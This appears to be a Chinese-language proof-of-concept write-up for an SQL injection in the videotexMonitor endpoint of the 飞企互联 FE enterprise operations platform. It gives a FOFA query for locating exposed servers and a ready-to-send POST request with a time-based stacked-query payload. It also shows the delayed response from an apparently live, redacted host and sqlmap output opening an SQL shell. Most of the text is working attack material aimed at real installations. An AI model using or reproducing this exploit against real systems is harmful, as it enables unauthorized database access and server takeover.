F1-6飞企互联-FE企业运营管理平台-SQL

漏洞描述：

飞企互联-FE企业运营管理平台 videotexMonitor接口存在SQL注入漏洞，未经授权攻击者可通过该漏洞获取数据库敏感信息，进一步利用可获取服务器权限，导致网站处于极度不安全状态。

网站图片：

网络测绘：

fofa语法：

FOFA：app="飞企互联-FE企业运营管理平台"

漏洞复现：

payload：

```
POST /cooperate/videotexMonitor.js%70 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

master_key=1&flowcode=1';WAITFOR+DELAY '0:0:5'--&dialogid=1
```

效果图:
延时5秒

Request

数据包扫描 热加载 构造请求

```
POST /cooperate/videotexMonitor.js%70 HTTP/1.1
Host: [redacted]3003
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

master_key=1&flowcode=1';WAITFOR+DELAY '0:0:5'--&dialogid=1
```

Responses 9150bytes / 5059ms

```
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=9CE2C526385D435133
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Date: Mon, 29 Jan 2024 15:38:36 GMT
Content-Length: 9150

<html>
<head>
    <title>图形监控</title>
    <meta http-equiv="Content-Type" conte
    <link rel="stylesheet" type="text/css
    <link rel="stylesheet" id="selfDefine
        href="/css39/portal/defaultStyl
    <style type="text/css">
        body {
            margin-left: 0px;
            margin-top: 0px;
            margin-right: 0px;
            margin-bottom: 0px;
```

Sqlmap验证

```
[root@VM-16-8-centos sqlmap-1.7]# python3 sqlmap.py -r post33.txt --sql-shell

        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.7#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibilit
l, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 23:41:52 /2024-01-29/

[23:41:52] [INFO] parsing HTTP request from 'post33.txt'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] y
[23:41:53] [INFO] resuming back-end DBMS 'microsoft sql server'
[23:41:53] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('JSESSIONID=2C80675D661...C900801DF5'). Do you want to use those [Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: master_key=1&flowcode=1';WAITFOR DELAY '0:0:5'--&dialogid=1
---
[23:41:55] [INFO] the back-end DBMS is Microsoft SQL Server
```